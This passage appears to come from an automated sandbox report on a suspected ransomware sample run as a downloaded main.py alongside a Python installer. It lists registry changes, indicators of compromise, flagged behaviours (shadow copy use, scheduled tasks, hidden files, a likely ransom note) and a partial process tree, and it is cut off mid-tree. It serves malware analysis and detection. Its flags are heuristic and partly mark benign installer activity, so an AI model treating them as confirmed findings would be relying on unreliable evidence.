Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.ArchiveFile	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Installer\Dependencies\{6FBFD1F4-0412-4DBB-AA00-F71278CAB664}\Version = "3.11.150.0"	python-3.11.0-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Installer	python-3.11.0-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Installer\Dependencies\{CB7E1801-9FB8-4763-A369-1D7F290AB24D}	python-3.11.0-amd64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.ArchiveFile\DefaultIcon\ = "\"C:\\Windows\\py.exe\",5"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.CompiledFile\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.pyc	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Installer\Dependencies\{ACF8763C-83E8-4BE1-B67C-DF86C2E1240A}\Version = "3.11.150.0"	python-3.11.0-amd64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.ArchiveFile\shellex\DropHandler\ = "{BEA218D2-6950-497B-9434-61683EC065FE}"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.NoConFile	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Python.CompiledFile\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.pyd	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Installer\Dependencies\{1ED03561-12AC-4A6A-AA85-583281BF0121}\ = "{1ED03561-12AC-4A6A-AA85-583281BF0121}"	python-3.11.0-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Python.File\Shell\editwithidle\MUIVerb = "&Edit with IDLE"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.NoConFile\DefaultIcon\ = "\"C:\\Windows\\py.exe\",1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.ArchiveFile\shellex\DropHandler	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pyzw\Content Type = "application/x-zip-compressed"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9CAEE6E03194F2C47B2D67B1723CD5C7\PackageCode = "F1277672EE9FAAD47A36792002B704FD"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Installer\Dependencies\{ACF8763C-83E8-4BE1-B67C-DF86C2E1240A}\ = "{ACF8763C-83E8-4BE1-B67C-DF86C2E1240A}"	python-3.11.0-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Installer\Dependencies\{D4A2E83A-3BD5-4E0D-9577-7F8CA74B876B}\Dependents	python-3.11.0-amd64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.File\shell\open\command\ = "\"C:\\Windows\\py.exe\" \"%L\" %*"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9CAEE6E03194F2C47B2D67B1723CD5C7	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Python.File\Shell\editwithidle\shell\edit311	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Python.File\Shell\editwithidle\shell\edit311\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Python311\\pythonw.exe\" -m idlelib \"%L\" %*"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Python.ArchiveFile\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.ArchiveFile\shell\open\command\ = "\"C:\\Windows\\py.exe\" \"%L\" %*"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Python.CompiledFile	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pyzw\ = "Python.NoConArchiveFile"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9CAEE6E03194F2C47B2D67B1723CD5C7\SourceList\Net	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Local Settings	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.py\Content Type = "text/x-python"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Python.File\Shell	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Python.NoConFile\Shell\editwithidle\shell	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Installer\Dependencies\{CB7E1801-9FB8-4763-A369-1D7F290AB24D}\Dependents	python-3.11.0-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Installer\Dependencies\{BD29D023-6B95-47FE-B480-598840EB9A28}\Dependents\{7f8381ad-2e42-4432-8de5-c7beebe1009f}	python-3.11.0-amd64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.NoConArchiveFile\shellex	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Python.File\DefaultIcon	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pyz\ = "Python.ArchiveFile"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9CAEE6E03194F2C47B2D67B1723CD5C7\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.pyzw	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Installer\Dependencies\{D4A2E83A-3BD5-4E0D-9577-7F8CA74B876B}	python-3.11.0-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000_Classes\Installer\Dependencies\{BD29D023-6B95-47FE-B480-598840EB9A28}\Dependents	python-3.11.0-amd64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.CompiledFile	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pyd\ = "Python.Extension"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}\InprocServer32\ = "C:\\Windows\\pyshellext.amd64.dll"	msiexec.exe

NTFS ADS 4 IoCs

Processes:

firefox.exefirefox.exe

description	ioc	Process
File created	C:\Users\Admin\Downloads\main(2).py:Zone.Identifier	firefox.exe
File created	C:\Users\Admin\Downloads\python-3.11.0-amd64.exe:Zone.Identifier	firefox.exe
File created	C:\Users\Admin\Downloads\main.py:Zone.Identifier	firefox.exe
File created	C:\Users\Admin\Downloads\main(1).py:Zone.Identifier	firefox.exe

Opens file in notepad (likely ransom note) 2 IoCs

ransomware

Processes:

NOTEPAD.EXENOTEPAD.EXE

pid	Process
3712	NOTEPAD.EXE
7556	NOTEPAD.EXE

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

msiexec.exeWMIC.exepowershell.exeWMIC.exeWMIC.exeWMIC.exepowershell.exeWMIC.exeWMIC.exepowershell.exeWMIC.exeWMIC.exeWMIC.exe

pid	Process
3928	msiexec.exe
3928	msiexec.exe
3928	msiexec.exe
3928	msiexec.exe
3928	msiexec.exe
3928	msiexec.exe
3928	msiexec.exe
3928	msiexec.exe
3928	msiexec.exe
3928	msiexec.exe
3928	msiexec.exe
3928	msiexec.exe
3928	msiexec.exe
3928	msiexec.exe
3928	msiexec.exe
3928	msiexec.exe
3928	msiexec.exe
3928	msiexec.exe
3928	msiexec.exe
3928	msiexec.exe
3928	msiexec.exe
3928	msiexec.exe
2380	WMIC.exe
2380	WMIC.exe
2380	WMIC.exe
2380	WMIC.exe
6980	powershell.exe
6980	powershell.exe
968	WMIC.exe
968	WMIC.exe
968	WMIC.exe
968	WMIC.exe
5208	WMIC.exe
5208	WMIC.exe
5208	WMIC.exe
5208	WMIC.exe
5916	WMIC.exe
5916	WMIC.exe
5916	WMIC.exe
5916	WMIC.exe
7424	powershell.exe
7424	powershell.exe
768	WMIC.exe
768	WMIC.exe
768	WMIC.exe
768	WMIC.exe
6952	WMIC.exe
6952	WMIC.exe
6952	WMIC.exe
6952	WMIC.exe
7272	powershell.exe
7272	powershell.exe
7480	WMIC.exe
7480	WMIC.exe
7480	WMIC.exe
7480	WMIC.exe
3536	WMIC.exe
3536	WMIC.exe
3536	WMIC.exe
3536	WMIC.exe
7196	WMIC.exe
7196	WMIC.exe
7196	WMIC.exe
7196	WMIC.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

OpenWith.exe

pid	Process
7816	OpenWith.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

firefox.exevssvc.exepython-3.11.0-amd64.exemsiexec.exe

description	pid	Process
Token: SeDebugPrivilege	3208	firefox.exe
Token: SeDebugPrivilege	3208	firefox.exe
Token: SeBackupPrivilege	2200	vssvc.exe
Token: SeRestorePrivilege	2200	vssvc.exe
Token: SeAuditPrivilege	2200	vssvc.exe
Token: SeShutdownPrivilege	2360	python-3.11.0-amd64.exe
Token: SeIncreaseQuotaPrivilege	2360	python-3.11.0-amd64.exe
Token: SeSecurityPrivilege	3928	msiexec.exe
Token: SeCreateTokenPrivilege	2360	python-3.11.0-amd64.exe
Token: SeAssignPrimaryTokenPrivilege	2360	python-3.11.0-amd64.exe
Token: SeLockMemoryPrivilege	2360	python-3.11.0-amd64.exe
Token: SeIncreaseQuotaPrivilege	2360	python-3.11.0-amd64.exe
Token: SeMachineAccountPrivilege	2360	python-3.11.0-amd64.exe
Token: SeTcbPrivilege	2360	python-3.11.0-amd64.exe
Token: SeSecurityPrivilege	2360	python-3.11.0-amd64.exe
Token: SeTakeOwnershipPrivilege	2360	python-3.11.0-amd64.exe
Token: SeLoadDriverPrivilege	2360	python-3.11.0-amd64.exe
Token: SeSystemProfilePrivilege	2360	python-3.11.0-amd64.exe
Token: SeSystemtimePrivilege	2360	python-3.11.0-amd64.exe
Token: SeProfSingleProcessPrivilege	2360	python-3.11.0-amd64.exe
Token: SeIncBasePriorityPrivilege	2360	python-3.11.0-amd64.exe
Token: SeCreatePagefilePrivilege	2360	python-3.11.0-amd64.exe
Token: SeCreatePermanentPrivilege	2360	python-3.11.0-amd64.exe
Token: SeBackupPrivilege	2360	python-3.11.0-amd64.exe
Token: SeRestorePrivilege	2360	python-3.11.0-amd64.exe
Token: SeShutdownPrivilege	2360	python-3.11.0-amd64.exe
Token: SeDebugPrivilege	2360	python-3.11.0-amd64.exe
Token: SeAuditPrivilege	2360	python-3.11.0-amd64.exe
Token: SeSystemEnvironmentPrivilege	2360	python-3.11.0-amd64.exe
Token: SeChangeNotifyPrivilege	2360	python-3.11.0-amd64.exe
Token: SeRemoteShutdownPrivilege	2360	python-3.11.0-amd64.exe
Token: SeUndockPrivilege	2360	python-3.11.0-amd64.exe
Token: SeSyncAgentPrivilege	2360	python-3.11.0-amd64.exe
Token: SeEnableDelegationPrivilege	2360	python-3.11.0-amd64.exe
Token: SeManageVolumePrivilege	2360	python-3.11.0-amd64.exe
Token: SeImpersonatePrivilege	2360	python-3.11.0-amd64.exe
Token: SeCreateGlobalPrivilege	2360	python-3.11.0-amd64.exe
Token: SeRestorePrivilege	3928	msiexec.exe
Token: SeTakeOwnershipPrivilege	3928	msiexec.exe
Token: SeRestorePrivilege	3928	msiexec.exe
Token: SeTakeOwnershipPrivilege	3928	msiexec.exe
Token: SeRestorePrivilege	3928	msiexec.exe
Token: SeTakeOwnershipPrivilege	3928	msiexec.exe
Token: SeRestorePrivilege	3928	msiexec.exe
Token: SeTakeOwnershipPrivilege	3928	msiexec.exe
Token: SeRestorePrivilege	3928	msiexec.exe
Token: SeTakeOwnershipPrivilege	3928	msiexec.exe
Token: SeRestorePrivilege	3928	msiexec.exe
Token: SeTakeOwnershipPrivilege	3928	msiexec.exe
Token: SeRestorePrivilege	3928	msiexec.exe
Token: SeTakeOwnershipPrivilege	3928	msiexec.exe
Token: SeRestorePrivilege	3928	msiexec.exe
Token: SeTakeOwnershipPrivilege	3928	msiexec.exe
Token: SeRestorePrivilege	3928	msiexec.exe
Token: SeTakeOwnershipPrivilege	3928	msiexec.exe
Token: SeRestorePrivilege	3928	msiexec.exe
Token: SeTakeOwnershipPrivilege	3928	msiexec.exe
Token: SeRestorePrivilege	3928	msiexec.exe
Token: SeTakeOwnershipPrivilege	3928	msiexec.exe
Token: SeRestorePrivilege	3928	msiexec.exe
Token: SeTakeOwnershipPrivilege	3928	msiexec.exe
Token: SeRestorePrivilege	3928	msiexec.exe
Token: SeTakeOwnershipPrivilege	3928	msiexec.exe
Token: SeRestorePrivilege	3928	msiexec.exe

Suspicious use of FindShellTrayWindow 54 IoCs

Processes:

firefox.exepython-3.11.0-amd64.exefirefox.exeNOTEPAD.EXE

pid	Process
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
2360	python-3.11.0-amd64.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
2264	NOTEPAD.EXE

Suspicious use of SendNotifyMessage 50 IoCs

Processes:

firefox.exefirefox.exe

pid	Process
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe

Suspicious use of SetWindowsHookEx 44 IoCs

Processes:

OpenWith.exefirefox.exefirefox.exeOpenWith.exe

pid	Process
4800	OpenWith.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
3208	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
7816	OpenWith.exe
7816	OpenWith.exe
7816	OpenWith.exe
7816	OpenWith.exe
7816	OpenWith.exe
7816	OpenWith.exe
7816	OpenWith.exe
7816	OpenWith.exe
7816	OpenWith.exe
7816	OpenWith.exe
7816	OpenWith.exe
7816	OpenWith.exe
7816	OpenWith.exe
7816	OpenWith.exe
7816	OpenWith.exe
7816	OpenWith.exe
7816	OpenWith.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe
6908	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

firefox.exefirefox.exe

description	pid	Process	procid_target
PID 4796 wrote to memory of 3208	4796	firefox.exe	89
PID 4796 wrote to memory of 3208	4796	firefox.exe	89
PID 4796 wrote to memory of 3208	4796	firefox.exe	89
PID 4796 wrote to memory of 3208	4796	firefox.exe	89
PID 4796 wrote to memory of 3208	4796	firefox.exe	89
PID 4796 wrote to memory of 3208	4796	firefox.exe	89
PID 4796 wrote to memory of 3208	4796	firefox.exe	89
PID 4796 wrote to memory of 3208	4796	firefox.exe	89
PID 4796 wrote to memory of 3208	4796	firefox.exe	89
PID 4796 wrote to memory of 3208	4796	firefox.exe	89
PID 4796 wrote to memory of 3208	4796	firefox.exe	89
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 2716	3208	firefox.exe	90
PID 3208 wrote to memory of 644	3208	firefox.exe	92
PID 3208 wrote to memory of 644	3208	firefox.exe	92
PID 3208 wrote to memory of 644	3208	firefox.exe	92
PID 3208 wrote to memory of 644	3208	firefox.exe	92
PID 3208 wrote to memory of 644	3208	firefox.exe	92
PID 3208 wrote to memory of 644	3208	firefox.exe	92
PID 3208 wrote to memory of 644	3208	firefox.exe	92
PID 3208 wrote to memory of 644	3208	firefox.exe	92

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

Processes:

attrib.exe

pid	Process
4924	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\main.py
1⤵
- Modifies registry class
PID:4428

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:4800

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4796
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - Checks processor information in registry
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3208
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1988 -parentBuildID 20240401114208 -prefsHandle 1904 -prefMapHandle 1896 -prefsLen 23681 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b66c5041-5f5a-4c8d-93d3-734324cd0dcc} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" gpu
    3⤵
    PID:2716
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2396 -parentBuildID 20240401114208 -prefsHandle 2380 -prefMapHandle 2376 -prefsLen 23717 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7f0cb13f-44d2-4773-b66b-693f7f82cb8b} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" socket
    3⤵
    PID:644
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3356 -childID 1 -isForBrowser -prefsHandle 2524 -prefMapHandle 1596 -prefsLen 23858 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b221de2e-0912-4cef-bc1b-c52141e1c8b4} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:4628
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4048 -childID 2 -isForBrowser -prefsHandle 4044 -prefMapHandle 1228 -prefsLen 29091 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b31eb06c-b5b5-4e5d-bda2-e2f1b294e817} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:384
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4928 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4912 -prefMapHandle 4948 -prefsLen 29198 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {119b5a2d-dd37-4c66-8c4d-d3bef28c5837} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" utility
    3⤵
    - Checks processor information in registry
    PID:1048
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5356 -childID 3 -isForBrowser -prefsHandle 5412 -prefMapHandle 5408 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ab8a8099-89c3-46ce-a8cd-c64c42ec6e19} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:5524
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5432 -childID 4 -isForBrowser -prefsHandle 5428 -prefMapHandle 5420 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {dda3f804-3972-493b-8670-c9b34573811f} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:5532
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5564 -childID 5 -isForBrowser -prefsHandle 5828 -prefMapHandle 5824 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a2b425af-1cb7-4958-8369-9a3055ec6746} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:5548
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3324 -childID 6 -isForBrowser -prefsHandle 4684 -prefMapHandle 3776 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c86a0772-9aa3-40ec-b1fe-d70b1ffab5b0} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:3400
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5228 -childID 7 -isForBrowser -prefsHandle 4828 -prefMapHandle 6156 -prefsLen 27919 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3fab121f-d0b0-4623-acf9-2ee137f7742c} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:3352
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6252 -childID 8 -isForBrowser -prefsHandle 4552 -prefMapHandle 1472 -prefsLen 27998 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6334dc6f-d322-4364-b848-9024490acae3} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:4412
- - C:\Users\Admin\Downloads\python-3.11.0-amd64.exe
    "C:\Users\Admin\Downloads\python-3.11.0-amd64.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:412
  - - C:\Windows\Temp\{194264B0-DE9F-4CD0-9D3C-6FE1ECEDD87F}\.cr\python-3.11.0-amd64.exe
      "C:\Windows\Temp\{194264B0-DE9F-4CD0-9D3C-6FE1ECEDD87F}\.cr\python-3.11.0-amd64.exe" -burn.clean.room="C:\Users\Admin\Downloads\python-3.11.0-amd64.exe" -burn.filehandle.attached=568 -burn.filehandle.self=728
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:2360
    - - C:\Windows\Temp\{A8CEB3E9-D4AD-48B0-88AB-1FBFA023DE32}\.be\python-3.11.0-amd64.exe
        
        "C:\Windows\Temp\{A8CEB3E9-D4AD-48B0-88AB-1FBFA023DE32}\.be\python-3.11.0-amd64.exe" -q -burn.elevated BurnPipe.{136443AE-556A-4367-A266-D72F065D8523} {FAA21E39-F1ED-48CA-BE78-2BB4AAFBCDF2} 2360
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5972
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6312 -childID 9 -isForBrowser -prefsHandle 7724 -prefMapHandle 7720 -prefsLen 28038 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {59e906ac-f813-482a-b0d0-3121fb8a5d1a} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:5452
- - C:\Program Files\Mozilla Firefox\firefox.exe
